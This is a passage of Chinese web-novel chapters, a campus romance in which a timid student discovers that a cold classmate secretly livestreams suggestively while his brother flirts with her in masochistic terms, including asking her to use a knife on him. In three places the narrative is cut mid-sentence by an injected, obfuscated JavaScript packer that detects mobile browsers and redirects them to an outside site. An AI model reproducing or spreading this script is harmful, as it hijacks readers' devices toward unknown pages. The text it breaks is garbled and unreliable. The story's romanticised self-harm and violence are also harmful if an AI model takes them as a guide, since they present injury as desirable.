然而薛年年见他衣服上有好几个破洞,脸上胡子也很久没刮了,整个人瘦骨嶙峋,和睡桥洞的流浪汉没什么两样。 之前她一直在等他醒来,就是想收回医药费,毕竟两百多块钱不算少。 但她也从没想过要把人往绝路上逼。 薛年年干脆摆摆手说:“算了吧,没事的……你好好养病,我先走了。” 她手上还拿着书,摆手时,夹在书里的书签在卢剑面前晃来晃去。 卢剑被晃得有点想吐。 不过他定睛一看,看清了书签上的图案,面色猛然一变,表情瞬间由难受转变为震惊! 他下意识伸手拉住薛年年:“你别走!!!” 薛年年被他吓了一大跳,用力抽回自己的手,害怕地往后躲。 卢剑立刻道歉:“对不起对不起!我不是变态,我只是有点激动,对不起!” 他又偷偷瞥了一眼那枚夹在书里的书签—— Cynosure,“指引之光”系列的初版。 这可是众多倒爷心里的“梦中情人”,哪怕花大价钱都不一定能买到的收藏品! 她竟然就这么随便地!夹在书里!用! 一点不珍惜! 万恶的有钱人啊…… 看这富婆手上印着A大校徽的朴素帆布袋—— A大,高材生,超级大富婆,低调,人品又好……这不是现成的唐僧肉吗? 千万不能让她跑了! 这可是他以前绝对接触不到的超级大富婆!!他一定得注意形象! 卢剑咳嗽一声,收起那副贱兮兮的抠搜样,讨好地说: “我的大小姐哎,蚊子再小也是肉,钱是很重要的东西,怎么能说不要就不要了?” 卢剑一边盘算着自己的屁股肯定卖不出去,这种等级的大小姐绝对看不上他,一边想着一个明显更可行的方案—— 该怎么…… 把手里那个祖宗给推销出去! 不知道他跪下来喊那狗崽子一句爷爷有没有用。 “这样,如果你不在意这点小钱,我晚上其实还是个直播网站的运营——” 他丢掉本就不存在的脸,装作轻松地问:“你对帅哥感兴趣吗?” “钱债肉偿,我让手下的主播晚上跳个舞给你看!” 4. 第一次看擦边(修) “钱债肉偿,我让手下的主播晚上跳个舞给你看!” 薛年年:“???” 薛年年在上大学前都没有自己的手机。 她从没看过娱乐直播,完全不知道这是个什么东西,只能一脸茫然地望着他。 眼见小富婆一直盯着他看,似乎是有兴趣,卢剑立刻开始满嘴跑火车地营销道: “真的是超级大帅哥,包你从来没见过这么帅的!冷白皮,八块腹肌……长得那叫一个沉鱼落雁,闭月羞花!” “他还有八分之一的英国血统,至臻,稀有!领回去倍儿有面子!大小姐您放心,熟了之后他还可亲人了,这样的您感兴趣吗?” 薛年年:“……啊?” 卢剑语速太快,薛年年都没太听清。 这一连串如同报菜名般的夸夸夸,让她觉得熊先生说的可能不是什么主播,而是什么待领养的流浪小狗。 薛年年还在勉强消化这些内容。 而此时卢剑早已拿出手机,贱兮兮地用双手托着呈给她,像太监给皇上呈贡品一样,让她来扫他的二维码。 薛年年社恐地往后躲,赶紧拒绝道:“不了,不了。” “要的,要的。”卢剑劝道。 “真不用,真不用。”、“没事,没事,加一个加一个。” 连续三番推阻,就像过年收红包一样拉扯,卢剑过于难缠,薛年年觉得他就差从病床上冲下来抱住她的大腿了。 周围已经有其他病人开始探头探脑,像是注意到了他们这边的动静。 马上就要被围观,薛年年吓得只能先把小号扔给他加。 卢剑当然不在乎她什么小号不小号的,能拿到联系方式就行。 这大小姐人好,脾气又好,除了头发一直挡着脸有点奇怪,其他方面堪称完美,简直就是天使降临人间! 他美滋滋地接过薛年年扔来的手机,加完她的联系方式后,立刻将名片偷偷推给肖余,开始胡扯: 【《今日富婆推荐》】 【你的忠实粉丝,聊一下?】 肖余直接已读不回。 卢剑嘿了一声,刚想催他两句,就听见薛年年在一旁小声催促他道: “加,加完了吗?可以把手机还给我了吧。” 她虽然是这么问了一句,语调还畏畏缩缩的,可下一秒,薛年年就直接上手了。 她执行力极强地把手机扯走,卢剑还没反应过来,手机就被她拿了回去。 室内有空调,冷风一直在循环,但天气炎热,只要一动就容易流汗。 薛年年之前怕被其他病人围观,紧张过了头,又因为刚用力扯回了手机,额头直冒汗。 她下意识拂开了一点挡在额前的长发,又用手背擦了擦流到眼角的汗水。 擦完刚抬起头,薛年年就瞥见一旁的的卢剑眼睛瞪得老大,正满脸呆滞地望着她看。 他似乎都忘记呼吸了,目光一直盯着她刚刚露出的上半张脸,魂都像飞出了身体。 薛年年被他的目光盯得有些发毛:“怎——怎么了?” 她右手拽紧帆布袋准备随时跑路,左手则顺势放下额前的刘海。 脸被厚厚的长发重新遮了起来。 卢剑这才因为她的动作回神,赶忙喊道:“不对,等等……不,为什么啊?” 他的语调听起来格外疑惑,甚至有些着急。 薛年年当然不可能回答他,直接被吓得猛退了好几步,逃跑般跑出了病房。 卢剑张了张嘴,没敢再出声,他不知道自己怎么就又把她给吓到了。 他刚才的样子很恐怖吗? 钱性恋的卢剑自出生起第一次开始反思,最近他是不是太过邋遢,不修边幅。 他摸了摸自己胡子拉碴的脸,心中正有些后悔,却忽然看到刚刚跑远了的薛年年又拽着小帆布包,哒哒地跑了回来。 她小跑回病床前,深吸一口气,伸手指向他的鼻子,指尖却还微微颤抖着。 卢剑:“……?” 薛年年的脸都红透了。 她鼓起勇气,用她自认为最强硬的语气说: “你!要,要好好养病,知道吗?不许乱跑,晚上还要吃药,不要忘记了!” 她边说边把医生之前开的药从包里拿出来,递给他。 卢剑呆呆地望着她通红的脸颊,目光缓缓下移,又看到了自己面前颤抖的,略微泛着粉色的指尖。 他沉默了许久,久到薛年年浑身都有些不自在了。 过了好一会,卢剑才从她手中接过药盒。 他收敛了表情,一改原来那副不着调的样子,满脸郑重地掀开薄被,走下病床。 薛年年看他的样子,以为他正常了一点,刚想松口气,就看到对方猛地往地上一缩,抱住她的大腿说: “大小姐你收下我吧,让我当你的狗!” 薛年年:“……” 薛年年:“???” 这家伙在干什么啊!! 卢剑的声音大得全医院都能听见。 整个病房的目光霎时全落在她身上! 薛年年没想到自己见义勇为竟然还被他“恩将仇报”,赶紧抽回自己的腿,埋头快步冲向大门。 卢剑还在她身后夸张地大喊:“大小姐,晚上我会再联系你的——” 薛年年头也不回地跑掉了。 眼见她跑得人影都看不见,卢剑这才又收起那副仿佛刻在他脸上的,贱兮兮的表情。 他望着她离开的方向,缓缓叹了口气。 小富婆看不上他才是正常的,看上了他才需要为她担心。 卢剑苦笑着挠了挠头,打开手机,发现之前推给肖余的名片已经不能【撤回】了,只能补充一句: 【别管上面那个联系方式了,我再去找其它的】 【肖余:?】 【总之别管了】 …… 薛年年还要赶着回去修空调。 她胆战心惊地回到宿舍,照着网上的维修指南,用工具箱里的扳手将空调里松动的螺帽一个个复位。 拧紧螺帽后,很快,清凉的风再次充盈了宿舍。 烈日高温下,这风简直救命了。 薛年年疲惫地坐着吹了一会儿凉风,又赶快去洗了个澡,换上睡衣。 她想先补一下觉,把昨晚和今早消耗的精力都补回来。 洗完澡后,薛年年抱起床上的枕头,走到衣柜前,慢慢钻了进去。 衣柜里黑暗又狭窄,很安全……很安全。 她只有在这里才睡得好。 薛年年已经困得神志不清了,她打了个小哈切,逐渐蜷缩起来,在衣柜里,快速进入了深眠…… 等她再次醒来,已经到了半夜。 一旁的手机正疯狂震动着,薛年年迷迷糊糊地掏出来,看到屏幕上全是短信—— 【大小姐,在吗?】 【我吃过药了】 【图片:拆开的药盒】 【放心,医生说我已经可以出院了】 薛年年盯着屏幕,揉了揉自己的眼角,又看了一眼手机上的时钟,回复道: 【刚刚在睡觉】 对方反应过来,立刻滑跪:【是不是打扰你休息了?抱歉啊】 【没事,已经醒啦,我是不是睡过头,错过直播了?】 虽然她早上是被吓跑的,可之前和熊先生有过约定,他还欠着她钱呢! 薛年年问了他一句,可对方却好像不记得这个约定,莫名发来一句: 【……大小姐你真的想看?】 【不要叫我大小姐】薛年年越发疑惑,【我应该不想吗?】 信息发送过去后,连续不断弹出的对话有瞬间的停滞。 对面沉默了几秒,才又回复:【没,想看什么都行】 他发来一串链接:【这是网址,是国外的付费网站。我帮你借了一个VIP号,你不用买了,可以直接登上去看】 【那边快下播了,你抓紧时间的话说不定能赶上一点末尾】 薛年年才刚醒,又因为睡得太久,脑子还有点模糊。 她都没怎么思考,眼神迷蒙地按照卢剑的说法,用他给的账号打开了网址。 网页很快弹了出来,是直播的首页。 首页最大的屏幕上,一个不认识的黄毛正光着上半身,露出整齐的六块腹肌,把低腰裤往下拉,还将内裤掏—— 等等,他这是在脱裤子??? 薛年年瞬间被吓清醒了。 她瞪大眼睛,差点把手机扔出去,赶忙联系卢剑说:【这是什么东西啊!】 【哟!差点忘了提醒你。这是□□,首页可能会有些猎奇向的推荐,你直接跳过,进这个直播间】 【[链接],我推荐的主播还是比较正常的】 卢剑以为她看到了什么血腥向的猎奇玩意,赶忙在发完链接后,又连发了几个刚找来的可爱表情安慰她。 薛年年咬紧嘴唇,看着屏幕上的“正常”两个字,有点不相信他的话。 刚才首页上那个黄毛脱得就差把牛子给掏出来了…… 但他还没肖序帅呢,“主播”都只有这种水平吗? 薛年年莫名有点失望,不过她也不知道她在失望些什么。 对面熊先生还在持续不断地给她胡乱发可爱表情包,像是很紧张。 如果这个网站的主播都像刚才黄毛那个德行…… 她一点也不好奇…… 不过来都来了。 薛年年:“……” 她这是第一次看娱乐直播,以前她最多用手机看个网课,如今这种稀奇的怪东西让薛年年忍不住产生了些探索欲。 她犹豫了一会,指尖缓慢移动,思索许久,最终还是点开了卢剑发来的新链接。 全新的直播间在屏幕上弹出。 电光火石间,薛年年还没有任何心理准备,突然! 一双熟悉到恐怖的灰眼睛跃入她的视野。 头脑霎时间一片空白。 薛年年呆愣地看着屏幕上的人,看到他戴着一个黑色口罩,笑容格外阳光爽朗,似乎正在和弹幕聊天说: “哎,真的吗?夸我名字好听啊……这名字很不错吧?我也很喜欢!” 他穿着一件布料清透的西装白衬衫,没认真扣扣子,领口直接大敞开,一直开到腹肌。 冷白皮在灯光下格外晃眼,明明没好好穿衣服,但他竟然还在脖子上,凌乱地系着一条黑色的领带,就如同项圈一样,显得他更像……更像…… 薛年年抖了一下,觉得自己的联想太可怕了。 弹幕上还一直滚动着“舔舔腹肌”、“摸摸仍子”这种虎狼之词。 薛年年的脸越来越红,她凑近手机仔细研究了一下,又拿远手机观察,又再次靠近…… 但无论她从什么角度看,这个人百分百就是—— 等一下,他等会不会也要把自己的牛子给掏出来吧!! 薛年年吓得真的把手机给扔了出去。 熊先生说的没错,帅哥是真帅哥。 但不对啊……不对啊!肖序怎么可能会在这里!! 他究竟在干什么啊啊啊?! 薛年年今早才刚见过他,他一直冷着脸,像个冰坨子一样又冷又硬。 白天他明明是全校公认的高岭之花,传闻中帅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但真的很放松吗?他刚才的语气,听起来简直就像提起一个重症精神病人一样惊悚。 耳边传来糖被咬得稀碎的“咔咔”声,像在嚼人耳朵。 卢剑望着屏幕上肖余那依旧爽朗的笑容,不自觉抖了抖。 这狗崽子……和他哥的神经病程度说不定是半斤八两。 他刚接手肖余的运营工作时,就碰上过他连续好几天都没来直播间。 卢剑跑去问他。 对方只轻飘飘地告诉他:“被绑架了,缺的直播时长之后补。” 这是重点吗??? 确认这富二代真的被人绑架过之后,看他那副习惯了的样子,卢剑还很急切地关心了他一句:“受伤没有?” “受伤?”对方直接把肩上纵横的伤疤亮给他看。 “当然受伤了,故意被他们绑走就是为了这个,怎么能不受伤就回来?” “你说啥??” “那群绑匪太没意思了,捅人都不会。”肖余不在意道。 他说话时还在笑,额前的黑发略微带卷,看起来毛茸茸的。明明还是清澈愚蠢的学生年纪,但肖余说的话总是很惊悚—— “就捅进肉里那一下有点爽,不过没捅对地方,这伤口过两天就能好。” 很爽……你怕不是个m吧??? 卢剑虽说比肖余大几岁,但一直有点怕他,特别是他后来还看过肖余发给他的实况照片—— 那两个鬼佬绑匪表情惊恐,嘴里塞着枪,口水乱流,肩膀上血肉模糊,还被他用涩情的龟甲缚绑了个严严实实。 实况里还能听到肖余的声音:“来,看镜头。笑一个~” 卢剑:“……” 究竟谁是绑匪啊? 枪支、血浆、涩情、暴力……标准的B级片画面,美利坚还真是自由。 肖余这狗崽子的脑子实在有点不对劲。 都是有钱人,相比起来,今早救他的那个大小姐简直就是天使! 嘿嘿,大小姐之前还关心了他有没有吃药。 卢剑在心里美滋滋地傻笑,又赶紧转移话题:“不靠家里,难道你还有点私房钱?” “我自己都急用钱,怎么可能还有?”肖余含着棒棒糖,语调囫囵地答了一句。 他盯着卢剑的聊天记录,略微思索,听到电话对面疑惑地问他: “那你要怎么帮我?” 怎么帮? 去聊骚啊。这还用问吗? 肖余无所谓地往椅背上靠了一下。 他知道他的脸一向管用,都不用废太大的力,一般随便和别人说几句话,对方就像狗皮膏药一样贴上来了。 做这种事实在太简单,而且很无趣。 从小到大,无数人因为他的家世,因为他的脸,想尽办法要往他身上贴。 每天他烦都要被这些人烦死了,现在卢剑还给他找了个新麻烦来,真是又累又无聊。 肖余的手指快速点了几下,不情不愿地向卢剑之前推来的“富婆粉丝”发去了好友申请。 “叮铃铃……” 如他所料,很快,他的申请就有了回应。 肖余拿起手机,把棒棒糖从左边换到右边。 他百无聊赖地计划着,等加上好友后,该用什么样的话术去敷衍对方,却看到屏幕上弹出一行大字—— 【该用户已[拒绝]了您的好友请求。】 5. 第一次当主人(修) …… 沉默。 还是沉默。 视频另一边,卢剑正聒噪地叫嚷着:“肖余,鱼崽,余哥,怎么不说话?在忙吗?” “挂了。” 沉默了许久,肖余突然幽幽地冒出这么一句,很快掐断了和卢剑的视频通话。 他望着申请回复上的【拒绝】两个字,脸被屏幕光照得煞白,像刚从井里捞出来的鬼一样。 ……这真是他的忠实粉丝? 如果是真的—— 那这就不是麻烦,是乐子了! 肖余嘴角疯狂上扬,兴奋地又向对方发去申请。 【拒绝】【拒绝】【拒绝】 一连发了好几个,全都被拒绝。 肖余盯着那几条【拒绝】短信,面色忽然变得潮红,眼睛发亮。 他咬住棒棒糖的梗,从仰躺的姿势坐起,立刻把申请信息里“加一下”这种命令般的话语删除,加上了称呼。 如果是他粉丝的话,叫宝宝太冒昧,叫老板太生疏—— 干脆叫主人!去吓她一跳~ 【主人,真的不想加我吗?】 肖余兴冲冲地发去了新申请,这次回复等了两分钟才收到。 “还是拒绝了……” 哇哦。 真是太有意思了! 肖余直接把申请信息当成了对话框开始骚扰她: 【求你了】 对方似乎是被他这句话惊到了,终于在这次发过去后,快速通过了申请。 肖余看着新加上的联系方式,满足地喟叹了一声。 他摸了一下自己烫得有些不正常的脸,兴奋得砰砰跳的心脏逐渐放缓。 加上就没什么意思了,他刚想把手机扔到一边,却看到对方发来了一条短信: 》》【我不想和你私下接触】 信息冷冰冰的没什么温度。 肖余的的呼吸瞬间又急促了起来,刚失去的兴趣又逐渐回笼,在对话框里输入道: 【那你想要什么?】 》》【我只是来看你跳舞的】回复很快出现在屏幕上。 “……哈?” 这竟然真的是他的忠实粉丝?还是只看才艺的事业粉? 肖余反而感到了诧异。 他根本就不相信,直接问道:【所以对我本人没什么兴趣?】 “……” 消息被薛年年接收。 薛年年还缩在衣柜里,正满脸通红地盯着手机屏幕。 她当然对他有兴趣……还是大大的有。 薛年年简直不敢相信肖序晚上竟然是这样一个人! 这反差也太大了吧? 她一想起肖序顶着那张面无表情的冷脸,一边脱衣服,一边喊“主人”,还说“求求你了”,就觉得这世界真是魔幻。 薛年年根本就不知道该怎么应付他,干脆实诚地把自己的想法发了过去: 》》【对你有兴趣,只是不想私下接触】 屏幕对面沉默了几秒,又发来一条短讯: 【有兴趣啊……那肯定也有想要我帮你达成的心愿吧?什么都可以,说不定今天我就能满足你~】 等等,什么都可以—— 250块钱就能让肖序做到这种地步吗??? 薛年年看着最后那个抖动的波浪号,情不自禁也抖了一下。 她现在的愿望就是赶紧跑。 可千万不能让肖序发现她是谁啊! 他白天装成那副高冷又严肃的样子,肯定是不想被人知道他晚上都在互联网上干些什么的。 之前她一直拒绝,完全是因为怕被肖序认出来,最后她不仅完成不了小组作业,肖序还肯定会在线下报复她。 肯定会吧!一定会! 她的目标是想和对方好好相处,不是想去揭穿校草在深夜的真面目! 薛年年直接给对方发了一个人骑上马,“快马加鞭跑路”的表情包。 这是她跑路前最后的礼貌了。 薛年年发完,刚想关掉对话框,就看到对方引用了她的表情包,发来一条: 【甜心~你这是想骑我吗?】 》》【?】 发过去骚话,肖余看到屏幕上出现的“?”,差点笑倒在床上。 嘴里的甘草味糖果已经被他咬碎了,苦涩中带着一丝甜腻,是他最讨厌的味道。 甜味好恶心。 肖余将嘴里已经变甜的糖果吐掉,听到自己的手机在不停地震动。 刚刚他去加好友期间,除了卢剑一直在给他发询问的短信,还有个学校里哲学系的同学在给他发邀请。 备注说是同学,但肖余早就忘记加过这个人了。 好像是对岸国哪个财阀的私生子? 肖余瞥了一眼短信,对方说他在迪拜拉斯海玛沙漠,新搞了个玻璃庄园,还建了露天恒温泳池,马上完工。 他准备办个泳池派对,如果肖余愿意赏脸,他就让私人飞机到美国来接他。 肖余随便瞟了一眼这条短信,就直接忽略了。 这些破玩意儿简直无趣透顶。 让一群假人围着他转,他还不如和小富婆继续聊天呢。 肖余面无表情地关掉和别人的对话框,回到原来的。 看到薛年年那边发来的【?】后面跟了一句,【骑你?什么意思啊】 这像个好奇宝宝一样的话让肖余缓缓眯起了眼睛。 他的骚话完全不管用,对方还是一副懵懵的样子。 作为他的忠实粉丝,都已经到这种付费网站上来找乐子了,竟然还这么单纯吗? 装的吧。 肖余想了想,却也配合地装傻道:【骑马呀,不然还能怎么骑】 》》【……别骗我了】 》》【我刚去网上查过是什么意思,你说话正常一点!】 【嗷抱歉,我就是这么无聊的一个人:D】被戳穿肖余也丝毫不反省。 虽说已经成年,但薛年年觉得自己朴素的三观又被他刷新了一遍。 》》【……你很会这些东西吗?】 【看过学过,现在想找人实验】 》》【啊?不可能找不到人吧,你长得很好看,应该有很多人愿意和你……实验。】 【那些人都很无聊】肖余仰躺到床上,发送道,【我只想要最好的】 》》【最好的就是……骑你??】 》》【你的爱好真奇怪】 【不止这些】肖余笑出声,【如果我喜欢她,那她对我做什么都可以,折磨我,把钱都给她用,给她当狗,稍不顺她的意,她还可以随便拿我出气~】 》》【听起来你会对她很好,你喜欢什么样的人啊?】薛年年是真的很好奇。 肖序在学校里从来没传出过任何绯闻,甚至除了一起上课的同学,就没几个人见过他。 他的一切都很神秘,没人知道他喜欢些什么。 薛年年其实也不想搞粉红泡泡,她只想借此机会,问问肖序的爱好,至少后面和他相处时,不要踩到他的雷点。 只要这学期能和平地,安稳地度过。 只要她能和肖序一起把小组作业做完,期末能转专业,她能顺利毕业,那就足够了! 薛年年将消息发出,电话的另一边安静了几秒,才回复: 【我喜欢什么样的人?】 【不知道啊】 》》【……啊?】 【本来喜欢什么样的人就无法具体描述,不过硬要说的话,我喜欢会撒娇的~】 》》【好简单的回答】 【简单吗?我倒觉得那样的女孩子根本就不存在】 肖余觉得他自己就像只溺死的水鬼,总想抓住一个活人,把她往水面下拉。 可他看来看去,又发现人类实在没什么意思。 讨好他的人都很无聊。 不讨好他的人……什么玩意敢这么对待他? 这个卢剑找来的小富婆还算是比较像“活人”。 他对自己的粉丝态度一向不错,但肖余还是觉得自己今天和她说得有点太多了。 他想起了自己最初的目的,“敬业”地转移话题道: 【我私下里似乎和你想象的形象不太一样】 》》【还好?】薛年年本来就不怎么了解他。 【那你明天还会来直播间看我吗?[猫咪眨眼.jpg]】 》》【那你明天还会穿那么少吗?】对方反问。 想和他讲条件啊…… 肖余收敛了笑容,漂亮的桃花眼眯起,眼尾上挑。 他盯着屏幕,过了许久才发:【不喜欢我那样穿?】 倒也不是不喜欢,只是薛年年不想一见到肖序 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760961|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脑子里就不断循环他在网上光着的样子。 要是他真的在直播时把牛子掏出来,以后她线下该怎么面对他啊! 》》【没有很不喜欢,还可以】薛年年倒没有昧着良心说他不好看。 【那就是不喜欢】肖余故意道。 》》【你要这么理解的话,那我们就没什么好聊的了】 【生气了?】 》》【没有,明天我还是会来看你直播,只是不要再给我私发消息了】薛年年打字道。 她的目的只是想让肖序不要穿成那副……涩情的样子。 和熊先生的约定只持续到看完肖序给她跳舞。 薛年年其实也不想和他多聊。 虽然她现在用的是防推销员的小号,但万一肖序聪明的小脑袋瓜一转,把她认出来了怎么办? 》》【晚安,早点睡吧】明早还要早起上课呢。 【……】 信息发送过去,对话框另一边一直显示着“正在输入中……” 肖余灰蓝色的眼睛盯着屏幕,反反复复输入了几次又删掉。 眼膜都被光照得有些干涩了。 沉默了好一会,他才揉了一把眼角,把眼尾揉得通红,打字道: 【我知道你打的什么主意】 》》【哎,那有用吗?】 【当然】 【……】 【别不理我。】肖余的呼吸越来越急促了。 他蓦然感觉到了一种无法言明的幸福,就像是脑浆被煮沸,让他根本无法思考。 脊柱有种过电的感觉,他感到自己浑身发烫。 手不自觉地按上了自己滚烫的小腹,他发送过去:【明天我不会再那么穿了】 【满足了你的愿望,该说声谢谢吧?】 》》【……谢谢衣服?】 【哈哈哈哈哈哈哈哈】 【要不要把另一个愿望也一并满足了,现在就来骑我怎么样?:D】 》》【?】 这家伙比卢剑还满嘴跑火车,根本就不着调。 难怪这俩人会凑到一起! 达成了目的,薛年年就不想再和他好好说话了。 她气呼呼地发过去:【别开玩笑了,你都不睡觉的吗?明早起来会有黑眼圈】 薛年年强行让自己硬气起来,想恐吓他。 肖余的面色潮红,头脑发热,喘息了一声:【这是在关心我?】 》》【是恐吓】薛年年实诚地回答。 【原来是恐吓!我被吓到了,姐姐好可怕QvQ】 》》【啊?对不起】 薛年年赶紧说,【其实是关心……】 肖余猛然看到她承认是关心,反而生气了: 【喂,你现在怎么顺着我说话了!之前不是不想理我了吗?】 》》【我说关心是在撒娇!你没看出来吗?】薛年年觉得他真是喜怒无常。 》》【我以为你喜欢这样】 肖余愣了一下,躺倒在床上,额前凌乱的发丝挡住眼睫: 【哪有人自己说自己在撒娇的】 【那我说之前我故意在冒犯你,想让你把我删掉,你难道看出来了?】 》》【当然看出来了,下次说话你最好还是正常一点!】薛年年早就觉得他很不对劲! 【我很正常啊】 》》【才没有】 【是正常的】 》》【不是!】 【哈,现在你怎么又不顺着我了,继续撒娇啊?】 》》【因为你现在在故意欺负我】薛年年觉得他真过分,【再欺负我我会来打你的!】 她可没说假话! 她真的能在线下打到肖序! 虽然薛年年从没打过别人,但被打也算吧,她熟能生巧,肯定能成功! 薛年年的确有点生气了。 屏幕另一边,肖余却收起了笑容,面无表情,缓缓打下两个字:【好啊】 》》【什么好?】 【来打我】 来见我,来见我,来见我,来见我,来见我,来见我,来见我,来见我,来见我,来见我,来见我,来见我,来见我,来见我,来见我! 他望着屏幕,手缓缓从肩膀落到自己滚烫的心口: 【踩也可以,掐也行,但是掐的话我不会觉得痛,你会用刀吗?】 6. 第一次遇见她 刀? 法制社会下用这个有点危险吧? 薛年年理智上觉得这不太对,但又一想,如果能达到让他痛的目的—— 那拿来警告一下也不是不可以。 薛年年完全没意识到她刚刚那句话正戳到了对方的好球区,诚实地打字道: 》》【我只切过菜】 》》【这样算会用吗?】 【不太够,来打我之前练习一下吧】肖余勉强恢复了一点神智,把胸口那股异样的感觉压下。 他想了想,找了一打“学习资料”发过去,免得对方不把他的话当真: 【文件.zip】 【有不会的可以问我:D】 薛年年随便点开了其中一个,立刻就被里面的绳索,刀痕,各种人体惊得目瞪口呆: 》》【你好专业……】 可为什么要精通这种东西啊! 【我说过了啊,我只想要最好的】 肖余为了世上可能存在的“某个人”已经等候多时了。 他发送道:【痛苦本身就是生命的燃料,到达某个临界点,痛苦就会被升华为极乐】 》》【……没听懂,什么意思啊?】 【意志主义学派的观点,大概意思就是“生命冲动和生活渴求是存在的首要原则”】 》》【……】 【别告诉我你还是没听懂】 【你是笨蛋吗?】 》》【谁说的!我高考分数很高】薛年年不想承认。 虽然她是踩线进的A大,但在她的老家,她怎么也算是个优等生。 不过也仅限于此了。 薛年年过去十几年的人生里就只有“高考”,除了高考有关的技能,她几乎就不会任何东西。 她盯着屏幕,有些不服气地想去搜一下什么叫“意志主义”。 这时,对方忽然又发来短信:【怎么不说话了?不会为了证明自己不笨,准备现学现卖吧?】 【那才是如假包换的笨蛋】 薛年年觉得他的嘴好毒,反驳道: 》》【不会就要学,这有什么笨的?不承认自己不会才是笨蛋吧!】 【……刚才你真的准备去学?】 肖余反而愣了愣,他竟然猜中了。 薛年年坚持继续小窗搜索道:》》【西方哲学史……】 》》【啊,尼采竟然也是这个学派的吗?这个我知道,凝视深渊什么的,高考作文金句里有】 【……】 【不是什么重要的东西,别管了】捐栋楼就能进耶鲁读的玩意儿能有多重要。 肖余面无表情地把玻璃屏敲得“啪啪”响。 薛年年却觉得他这句话有些莫名其妙: 》》【这是你的实验吧,为什么说不重要?】 她翻了一下上面的聊天记录:【没错,是实验,之前你提到过】 【都是骗你的】 【是为了让你来骑我,故意找的冠冕堂皇的理由而已:D】 【你真是个笨蛋】 》》【不是!】 【笨蛋。】 》》【你才是笨蛋!我不要理你了!!】薛年年气呼呼地打字,她可不像他一样有受虐倾向,她不喜欢被骂。 肖余笑了笑:【那我理你呗】 他不会在同一个地方栽倒两次,只转移话题说:【为什么要因为我去学那种东西,我对你来说也很重要吗?】 》》【当然啊!】薛年年毫不犹豫道。 肖序可直接关系到她的毕业证呢! 她就是因为想多了解他,想和他在线下好好相处,才坚持和他聊到现在。 薛年年在网上没那么社恐,可见面就……额。 能有机会近距离接触到肖序,还不用做心理建设,这难道不是天赐的好机会吗? 薛年年丝毫没有多想就把这句话发送了过去,而电话另一边,肖余看到这句“当然”,笑容却僵在了脸上。 》》【哎不对啊,不是你最开始让我去学的吗?】薛年年忽然反应过来。 她引用了上面的【学习资料.zip】: 》》【我会好好学习的,不过最近学校的作业比较多,可能得下周才能看完……】 【不用了】肖余揉了一把自己僵硬的嘴角,把脸颊的皮肤搓得有些红。 他沉默地盯着屏幕,过了许久,莫名喘了一下。 呼吸中都带着热气,肖余感到自己之前强行压下的那股异样感又卷土重来,甚至愈演愈烈,让他有些难以忍受。 【别学了】【别学了】【别学了】……他重复道。 》》【为什么?】 因为再这样下去,他会误以为一个隔着网线,第一次聊天的陌生人,就是他等了很久的“那个人”。 肖余觉得他自己已经有些神志不清了。 他干脆又用她认为的那些“不正常”的话去吓唬她:【因为你再这样,我就要变成茄子了> 》》【?】 》》【什么意思哇?】 【去搜搜吧,好奇宝宝】 》》【……】 》》【不对,等等,我懂了,我只说了学习,哎怎么,为什么?】 眼见对方都被他吓得有点语无伦次了,肖余才勉强回神:【甜心,放松一点】 》》【刚刚搜到的东西把我的大脑玷污了,呜……】 【别哭别哭,别哭嘛】 》》【崩溃大哭.jpg】 【来,要不然靠在这里哭?】 【图片:白衬衫,领带,俯拍,胸前扣子微微崩开】 薛年年的大脑清空了。 好大。 她震惊地看着屏幕上发来的图片,嘴不自觉地微张—— 怎么能这么大啊!! 竟然比她的还……薛年年羞愤地低头看了一眼自己的领口。 【还算满意吗?】 就当作给她的私人粉丝福利吧,肖余现在只能用“敬业”来尽量转移自己的注意力。 》》【我睡了,明天直播见】薛年年一点也不困,却忙不迭地关上屏幕。 屏幕变黑后,手机又震动了一下,应该是对方给她发的“晚安”之类的回复。 然而任何回复薛年年都不想再看。 再聊下去她就真没办法去见肖序了! 薛年年有预感,明天课上她一定会无意识地总往肖序的胸口瞟。 他线下一直是那副冷冰冰又拒人于千里之外的样子,领口也捂得特别严实。 这样一个人,衣服下竟然有着那么大的——别想了! 好可怕。 薛年年抖了抖。 她缩在宿舍的衣柜里已经过了好久,久到手脚都有些僵硬。 薛年年忍不住开始想,不知道肖序现在究竟在哪。 他总不可能是在宿舍里直播的吧? …… 同一时间,深夜,A市。 一间市中心的二层公寓内。 肖序取下鼻梁上的无框眼镜,独自坐在书房里。 书桌上放着电脑。 他略微侧头,目光望向不远处的落地窗。 巨大的落地窗外一片漆黑。 树影,风,远方的道路上传来隐约的汽笛声,似乎有红色的灯光。 红色—— 窘迫,惶恐,紧绷……一模一样。 “快看!有人来给柳思睿送情书!” 脑海中不断传来几天前的声音。 “情书?好老土,不对,她手上拿的那是药——包装上的鹿茸,党参……壮阳的?” “哈哈哈哈,送壮阳药告白吗?太强了吧!” ……他见过她。 肖序关掉电脑上的资料。 那天很多人在二楼,院系里马上开始公共课,她直接到那个人面前,攥着那个人的衣角一直不放—— “竟然真的是壮阳药,哈哈哈哈哈!” “柳哥怎么不收?” “收什么?他爸十年前就升大校了,他妈还是管外交的,怎么可能允许他随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看到她眼角有颗红色的小痣。 